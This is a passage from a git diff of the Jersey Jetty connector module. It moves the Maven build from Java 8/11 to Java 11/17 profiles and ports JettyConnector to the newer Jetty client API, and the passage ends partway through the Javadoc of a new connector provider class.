     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-connector</artifactId>
@@ -34,10 +34,10 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
         <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <dependencies>
@@ -51,16 +51,6 @@
                 </exclusion>
             </exclusions>
         </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
 
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
@@ -74,18 +64,28 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
-<!--        <dependency>-->
-<!--            <groupId>org.glassfish.jersey.media</groupId>-->
-<!--            <artifactId>jersey-media-json-jackson</artifactId>-->
-<!--            <version>${project.version}</version>-->
-<!--            <scope>test</scope>-->
-<!--        </dependency>-->
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-jetty</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <build>
@@ -105,21 +105,6 @@
                 <artifactId>maven-compiler-plugin</artifactId>
             </plugin>
             <plugin>
-                <!-- TODO remove after jakartification -->
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-surefire-plugin</artifactId>
-            <executions>
-            <execution>
-                <id>default-test</id> <!-- jakartification-excluded-tests -->
-                <configuration>
-                    <excludes>
-                        <exclude>org/glassfish/jersey/jetty/connector/EntityTest.java</exclude>
-                    </excludes>
-                </configuration>
-            </execution>
-            </executions>
-            </plugin>
-            <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
@@ -139,72 +124,11 @@
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <properties>
-                <jetty.version>${jetty9.version}</jetty.version>
+                <jetty.version>${jetty11.version}</jetty.version>
             </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -225,17 +149,54 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.class</exists>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -256,16 +217,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -277,14 +238,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -298,5 +259,4 @@
             </build>
         </profile>
     </profiles>
-
 </project>
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
index dfd3b79..50ec6bd 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,16 +18,10 @@
 
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
 import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
 import org.glassfish.jersey.client.spi.Connector;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
 /**
  * A {@link ConnectorProvider} for Jersey {@link Connector connector}
  * instances that utilize the Jetty HTTP Client to send and receive
@@ -86,43 +80,6 @@
 
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return new JettyConnector(client, runtimeConfig);
-    }
-
-    /**
-     * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code JettyConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code JettyConnectorProvider}.
-     * @return underlying Jetty {@code HttpClient} instance.
-     *
-     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code JettyConnectorProvider}.
-     * @since 2.8
-     */
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyConnector) {
-            return ((JettyConnector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
     }
 }
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..6453521 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index dc43fb3..2b9e8b2 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 87%
copy from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
index d85ec4d..aa8f0e6 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -16,46 +16,6 @@
 
 package org.glassfish.jersey.jetty.connector;
 
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import jakarta.ws.rs.core.MultivaluedMap;
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.client.HttpProxy;
-import org.eclipse.jetty.client.ProxyConfiguration;
-import org.eclipse.jetty.client.api.AuthenticationStore;
-import org.eclipse.jetty.client.api.ContentProvider;
-import org.eclipse.jetty.client.api.ContentResponse;
-import org.eclipse.jetty.client.api.Request;
-import org.eclipse.jetty.client.api.Response;
-import org.eclipse.jetty.client.api.Result;
-import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP;
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.eclipse.jetty.client.util.BytesContentProvider;
-import org.eclipse.jetty.client.util.FutureResponseListener;
-import org.eclipse.jetty.client.util.OutputStreamContentProvider;
-import org.eclipse.jetty.http.HttpField;
-import org.eclipse.jetty.http.HttpFields;
-import org.eclipse.jetty.http.HttpHeader;
-import org.eclipse.jetty.io.ClientConnector;
-import org.eclipse.jetty.util.HttpCookieStore;
-import org.eclipse.jetty.util.Jetty;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.client.innate.ClientProxy;
-import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
-import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
-import org.glassfish.jersey.message.internal.HeaderUtils;
-import org.glassfish.jersey.message.internal.OutboundMessageContext;
-import org.glassfish.jersey.message.internal.Statuses;
-
-import javax.net.ssl.SSLContext;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.FilterInputStream;
@@ -76,10 +36,52 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.Consumer;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MultivaluedMap;
+
+import javax.net.ssl.SSLContext;
+
+import org.eclipse.jetty.client.AuthenticationStore;
+import org.eclipse.jetty.client.BasicAuthentication;
+import org.eclipse.jetty.client.ByteBufferRequestContent;
+import org.eclipse.jetty.client.ContentResponse;
+import org.eclipse.jetty.client.FutureResponseListener;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.client.OutputStreamRequestContent;
+import org.eclipse.jetty.client.Request;
+import org.eclipse.jetty.client.Response;
+import org.eclipse.jetty.client.Result;
+import org.eclipse.jetty.client.transport.HttpClientTransportOverHTTP;
+import org.eclipse.jetty.client.transport.HttpRequest;
+import org.eclipse.jetty.http.HttpCookieStore;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.client.innate.ClientProxy;
+import org.glassfish.jersey.client.spi.AsyncConnectorCallback;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream;
+import org.glassfish.jersey.internal.util.collection.NonBlockingInputStream;
+import org.glassfish.jersey.message.internal.HeaderUtils;
+import org.glassfish.jersey.message.internal.OutboundMessageContext;
+import org.glassfish.jersey.message.internal.Statuses;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpProxy;
+import org.eclipse.jetty.client.ProxyConfiguration;
+import org.eclipse.jetty.http.HttpField;
+import org.eclipse.jetty.http.HttpFields;
+import org.eclipse.jetty.http.HttpHeader;
+import org.eclipse.jetty.util.Jetty;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
 /**
  * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive
  * HTTP request and responses.
@@ -134,7 +136,7 @@
     private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
 
     private final HttpClient client;
-    private final CookieStore cookieStore;
+    private final HttpCookieStore cookieStore;
     private final Configuration configuration;
     private final Optional<Integer> syncListenerResponseMaxSize;
 
@@ -144,7 +146,7 @@
      * @param jaxrsClient JAX-RS client instance, for which the connector is created.
      * @param config client configuration.
      */
-    protected JettyConnector(final Client jaxrsClient, final Configuration config) {
+    public JettyConnector(final Client jaxrsClient, final Configuration config) {
         this.configuration = config;
         HttpClient httpClient = getRegisteredHttpClient(config);
 
@@ -202,13 +204,13 @@
         });
 
         if (disableCookies) {
-            client.setCookieStore(new HttpCookieStore.Empty());
+            client.setHttpCookieStore(new HttpCookieStore.Empty());
         }
 
         final Object slResponseMaxSize = configuration.getProperties()
-            .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
+                .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
         if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
-            && (Integer) slResponseMaxSize > 0) {
+                && (Integer) slResponseMaxSize > 0) {
             this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
         }
         else {
@@ -220,7 +222,7 @@
         } catch (final Exception e) {
             throw new ProcessingException("Failed to start the client.", e);
         }
-        this.cookieStore = client.getCookieStore();
+        this.cookieStore = client.getHttpCookieStore();
     }
 
     /**
@@ -270,7 +272,7 @@
      * @return the {@link CookieStore} instance or null when
      * JettyClientProperties.DISABLE_COOKIES set to true.
      */
-    public CookieStore getCookieStore() {
+    public HttpCookieStore getCookieStore() {
         return cookieStore;
     }
 
@@ -278,10 +280,10 @@
     public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
         final Request jettyRequest = translateRequest(jerseyRequest);
         final Map<String, String> clientHeadersSnapshot = new HashMap<>();
-        final ContentProvider entity =
+        final Request.Content entity =
                 getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
         if (entity != null) {
-            jettyRequest.content(entity);
+            jettyRequest.body(entity);
         } else {
             clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
         }
@@ -293,12 +295,12 @@
             }
             else {
                 final FutureResponseListener listener
-                    = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
+                        = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
                 jettyRequest.send(listener);
                 jettyResponse = listener.get();
             }
             HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                                           JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+                    JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
 
             final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
                     ? Statuses.from(jettyResponse.getStatus())
@@ -364,19 +366,19 @@
 
     private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) {
         final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
-        final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> {
-            // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
-            httpFields.remove(HttpHeader.USER_AGENT);
-            for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-                httpFields.put(e.getKey(), e.getValue());
-            }
-        };
-        request.headers(mutableConsumer);
 
+        // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
+        request.headers(httpFields -> httpFields.remove(HttpHeader.USER_AGENT));
+        if (request instanceof HttpRequest) {
+            final HttpRequest httpRequest = (HttpRequest) request;
+            for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
+                httpRequest.headers(httpFields -> httpFields.put(new HttpField(e.getKey(), e.getValue())));
+            }
+        }
         return stringHeaders;
     }
 
-    private ContentProvider getBytesProvider(final ClientRequest clientRequest,
+    private Request.Content getBytesProvider(final ClientRequest clientRequest,
                                              final MultivaluedMap<String, Object> headers,
                                              final Map<String, String> snapshot,
                                              final Request request) {
@@ -400,17 +402,22 @@
         } catch (final IOException e) {
             throw new ProcessingException("Failed to write request entity.", e);
         }
-        return new BytesContentProvider(outputStream.toByteArray());
+        return new ByteBufferRequestContent(ByteBuffer.wrap(outputStream.toByteArray()));
     }
 
-    private ContentProvider getStreamProvider(final ClientRequest clientRequest) {
+    private Request.Content getStreamProvider(final ClientRequest clientRequest) {
         final Object entity = clientRequest.getEntity();
 
         if (entity == null) {
             return null;
         }
 
-        final OutputStreamContentProvider streamContentProvider = new OutputStreamContentProvider();
+        String contentTypeHeader = clientRequest.getRequestHeaders()
+                .getFirst(HttpHeader.CONTENT_TYPE.asString());
+
+        String contentType = contentTypeHeader != null ? contentTypeHeader : "application/octet-stream";
+
+        final OutputStreamRequestContent streamContentProvider = new OutputStreamRequestContent(contentType);
         clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
             @Override
             public OutputStream getOutputStream(final int contentLength) throws IOException {
@@ -420,12 +427,12 @@
         return streamContentProvider;
     }
 
-    private void processContent(final ClientRequest clientRequest, final ContentProvider entity) throws IOException {
+    private void processContent(final ClientRequest clientRequest, final Request.Content entity) throws IOException {
         if (entity == null) {
             return;
         }
 
-        final OutputStreamContentProvider streamContentProvider = (OutputStreamContentProvider) entity;
+        final OutputStreamRequestContent streamContentProvider = (OutputStreamRequestContent) entity;
         try (final OutputStream output = streamContentProvider.getOutputStream()) {
             clientRequest.writeEntity();
         }
@@ -435,31 +442,31 @@
     public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
         final Request jettyRequest = translateRequest(jerseyRequest);
         final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
-        final ContentProvider entity = getStreamProvider(jerseyRequest);
+        final Request.Content entity = getStreamProvider(jerseyRequest);
         if (entity != null) {
-            jettyRequest.content(entity);
+            jettyRequest.body(entity);
         }
         final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
         final Throwable failure;
         try {
             final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
             responseFuture.whenComplete(
-                            (clientResponse, throwable) -> {
-                                if (throwable != null && throwable instanceof CancellationException) {
-                                    // take care of future cancellation
-                                    jettyRequest.abort(throwable);
+                    (clientResponse, throwable) -> {
+                        if (throwable != null && throwable instanceof CancellationException) {
+                            // take care of future cancellation
+                            jettyRequest.abort(throwable);
 
-                                }
-                            });
+                        }
+                    });
 
             final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
             final ByteBufferInputStream entityStream = new ByteBufferInputStream();
-            jettyRequest.send(new Response.Listener.Adapter() {
+            jettyRequest.send(new Response.Listener() {
 
                 @Override
                 public void onHeaders(final Response jettyResponse) {
                     HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                                                   JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
+                            JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
 
                     if (responseFuture.isDone()) {
                         if (!callbackInvoked.compareAndSet(false, true)) {
@@ -528,7 +535,7 @@
     }
 
     private static ClientResponse translateResponse(final ClientRequest jerseyRequest,
-                                                    final org.eclipse.jetty.client.api.Response jettyResponse,
+                                                    final org.eclipse.jetty.client.Response jettyResponse,
                                                     final NonBlockingInputStream entityStream) {
         final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest);
         processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
@@ -549,4 +556,4 @@
             throw new ProcessingException("Failed to stop the client.", e);
         }
     }
-}
+}
\ No newline at end of file
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
new file mode 100644
index 0000000..43a08ce
--- /dev/null
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+
+import org.eclipse.jetty.client.HttpClient;
+
+/**
+ * A {@link ConnectorProvider} for Jersey {@link Connector connector}
+ * instances that utilize the Jetty HTTP Client to send and receive
+ * HTTP request and responses.
+ * <p>
+ * The following connector configuration properties are supported:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
+ * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
+ * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
+ * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
+ * </ul>
+ * </p>
+ * <p>
+ * This transport supports both synchronous and asynchronous processing of client requests.
+ * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
+ * </p>
+ * <p>
+ * Typical usage:
+ * </p>
+ * <pre>
+ * {@code
+ * ClientConfig config = new ClientConfig();
+ * config.connectorProvider(new JettyConnectorProvider());
+ * Client client = ClientBuilder.newClient(config);
+ *
+ * // async request
+ * WebTarget target = client.target("http://localhost:8080");
+ * Future<Response> future = target.path("resource").request().async().get();
+ *
+ * // wait for 3 seconds
+ * Response response = future.get(3, TimeUnit.SECONDS);
+ * String entity = response.readEntity(String.class);
+ * client.close();
+ * }
+ * </pre>
+ * <p>
+ * Connector instances created via Jetty HTTP Client-based connector provider support only
+ * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
+ * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
+ * effect on Jetty HTTP Client-based connectors.
+ * </p>
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ * @since 2.5
+ */
+public class JettyConnectorProvider implements ConnectorProvider {
+
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JettyConnector(client, runtimeConfig);
+    }
+
+    /**
+     * Retrieve the underlying Jetty {@link org.eclipse.jetty.client.HttpClient} instance from
+     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
+     * configured to use {@code JettyConnectorProvider}.
+     *
+     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
+     *                  {@code JettyConnectorProvider}.
+     * @return underlying Jetty {@code HttpClient} instance.
+     *
